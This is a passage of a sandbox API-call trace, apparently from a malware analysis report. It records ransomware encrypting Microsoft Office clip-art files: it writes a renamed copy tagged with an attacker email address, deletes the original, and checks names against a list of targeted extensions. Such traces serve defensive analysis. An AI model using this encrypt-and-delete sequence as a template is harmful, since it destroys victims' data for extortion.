(lpString1=".jpg", lpString2=".WMF") returned -1 [0301.970] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.970] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0301.971] GetLastError () returned 0x0 [0301.971] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x20e8, lpOverlapped=0x0) returned 1 [0301.972] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x20f0, lpOverlapped=0x0) returned 1 [0301.973] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.973] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.973] SetEndOfFile (hFile=0x35c) returned 1 [0301.973] CloseHandle (hObject=0x35c) returned 1 [0301.973] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.974] SetEndOfFile (hFile=0x37c) returned 1 [0301.975] CloseHandle (hObject=0x37c) returned 1 [0301.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0301.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0301.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0301.976] lstrlenW (lpString=".doc") returned 4 [0301.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.976] lstrlenW (lpString=".docx") returned 5 [0301.976] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.976] lstrlenW (lpString=".pdf") returned 4 [0301.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.976] lstrlenW (lpString=".xls") returned 4 [0301.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.976] lstrlenW (lpString=".xlsx") returned 5 [0301.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.976] lstrlenW (lpString=".ppt") returned 4 [0301.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0301.977] lstrlenW (lpString=".zip") returned 4 [0301.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.977] lstrlenW (lpString=".rar") returned 4 [0301.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.977] lstrlenW (lpString=".bz2") returned 4 [0301.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.977] lstrlenW (lpString=".7z") returned 3 [0301.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0301.977] lstrlenW (lpString=".dbf") returned 4 [0301.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0301.977] lstrlenW (lpString=".1cd") returned 4 [0301.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0301.977] lstrlenW (lpString=".jpg") returned 4 [0301.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.977] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.977] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0301.978] GetLastError () returned 0x0 [0301.978] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2a40, lpOverlapped=0x0) returned 1 [0301.979] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2a50, lpOverlapped=0x0) returned 1 [0301.980] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.980] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.980] SetEndOfFile (hFile=0x35c) returned 1 [0301.980] CloseHandle (hObject=0x35c) returned 1 [0301.980] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.980] SetEndOfFile (hFile=0x37c) returned 1 [0301.981] CloseHandle (hObject=0x37c) returned 1 [0301.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0301.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0301.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0301.982] lstrlenW (lpString=".doc") returned 4 [0301.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.982] lstrlenW (lpString=".docx") returned 5 [0301.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.982] lstrlenW (lpString=".pdf") returned 4 [0301.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.982] lstrlenW (lpString=".xls") returned 4 [0301.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.982] lstrlenW (lpString=".xlsx") returned 5 [0301.982] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.982] lstrlenW (lpString=".ppt") returned 4 [0301.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0301.982] lstrlenW (lpString=".zip") returned 4 [0301.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.983] lstrlenW (lpString=".rar") returned 4 [0301.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.983] lstrlenW (lpString=".bz2") returned 4 [0301.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.983] lstrlenW (lpString=".7z") returned 3 [0301.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0301.983] lstrlenW (lpString=".dbf") returned 4 [0301.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0301.983] lstrlenW (lpString=".1cd") returned 4 [0301.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0301.983] lstrlenW (lpString=".jpg") returned 4 [0301.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.983] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.983] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0301.984] GetLastError () returned 0x0 [0301.984] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1ec6, lpOverlapped=0x0) returned 1 [0301.985] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0301.986] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.986] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.986] SetEndOfFile (hFile=0x35c) returned 1 [0301.986] CloseHandle (hObject=0x35c) returned 1 [0301.986] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.986] SetEndOfFile (hFile=0x37c) returned 1 [0301.987] CloseHandle (hObject=0x37c) returned 1 [0301.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0301.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0301.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0301.988] lstrlenW (lpString=".doc") returned 4 [0301.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.988] lstrlenW (lpString=".docx") returned 5 [0301.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.988] lstrlenW (lpString=".pdf") returned 4 [0301.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.988] lstrlenW (lpString=".xls") returned 4 [0301.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.988] lstrlenW (lpString=".xlsx") returned 5 [0301.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.988] lstrlenW (lpString=".ppt") returned 4 [0301.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0301.988] lstrlenW (lpString=".zip") returned 4 [0301.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.988] lstrlenW (lpString=".rar") returned 4 [0301.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.989] lstrlenW (lpString=".bz2") returned 4 [0301.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.989] lstrlenW (lpString=".7z") returned 3 [0301.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0301.989] lstrlenW (lpString=".dbf") returned 4 [0301.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0301.989] lstrlenW (lpString=".1cd") returned 4 [0301.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0301.989] lstrlenW (lpString=".jpg") returned 4 [0301.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.989] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.989] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0301.990] GetLastError () returned 0x0 [0301.990] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2afa, lpOverlapped=0x0) returned 1 [0301.991] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2b00, lpOverlapped=0x0) returned 1 [0302.220] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.220] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.220] SetEndOfFile (hFile=0x35c) returned 1 [0302.221] CloseHandle (hObject=0x35c) returned 1 [0302.221] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.221] SetEndOfFile (hFile=0x37c) returned 1 [0302.222] CloseHandle (hObject=0x37c) returned 1 [0302.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0302.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0302.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0302.283] lstrlenW (lpString=".doc") returned 4 [0302.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.283] lstrlenW (lpString=".docx") returned 5 [0302.283] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.283] lstrlenW (lpString=".pdf") returned 4 [0302.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.283] lstrlenW (lpString=".xls") returned 4 [0302.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.283] lstrlenW (lpString=".xlsx") returned 5 [0302.283] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.283] lstrlenW (lpString=".ppt") returned 4 [0302.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0302.283] lstrlenW (lpString=".zip") returned 4 [0302.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.283] lstrlenW (lpString=".rar") returned 4 [0302.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.283] lstrlenW (lpString=".bz2") returned 4 [0302.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.283] lstrlenW (lpString=".7z") returned 3 [0302.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0302.283] lstrlenW (lpString=".dbf") returned 4 [0302.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0302.283] lstrlenW (lpString=".1cd") returned 4 [0302.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0302.284] lstrlenW (lpString=".jpg") returned 4 [0302.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.284] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.284] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0302.285] GetLastError () returned 0x0 [0302.285] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x121a, lpOverlapped=0x0) returned 1 [0302.285] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1220, lpOverlapped=0x0) returned 1 [0302.286] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.286] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.286] SetEndOfFile (hFile=0x35c) returned 1 [0302.287] CloseHandle (hObject=0x35c) returned 1 [0302.287] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.287] SetEndOfFile (hFile=0x37c) returned 1 [0302.287] CloseHandle (hObject=0x37c) returned 1 [0302.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0302.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0302.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0302.288] lstrlenW (lpString=".doc") returned 4 [0302.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.288] lstrlenW (lpString=".docx") returned 5 [0302.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.288] lstrlenW (lpString=".pdf") returned 4 [0302.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.288] lstrlenW (lpString=".xls") returned 4 [0302.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.288] lstrlenW (lpString=".xlsx") returned 5 [0302.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.288] lstrlenW (lpString=".ppt") returned 4 [0302.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0302.288] lstrlenW (lpString=".zip") returned 4 [0302.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.289] lstrlenW (lpString=".rar") returned 4 [0302.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.289] lstrlenW (lpString=".bz2") returned 4 [0302.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.289] lstrlenW (lpString=".7z") returned 3 [0302.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0302.289] lstrlenW (lpString=".dbf") returned 4 [0302.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0302.289] lstrlenW (lpString=".1cd") returned 4 [0302.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0302.289] lstrlenW (lpString=".jpg") returned 4 [0302.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.289] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.289] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0302.290] GetLastError () returned 0x0 [0302.290] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x96c, lpOverlapped=0x0) returned 1 [0302.290] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x970, lpOverlapped=0x0) returned 1 [0302.291] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.291] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.291] SetEndOfFile 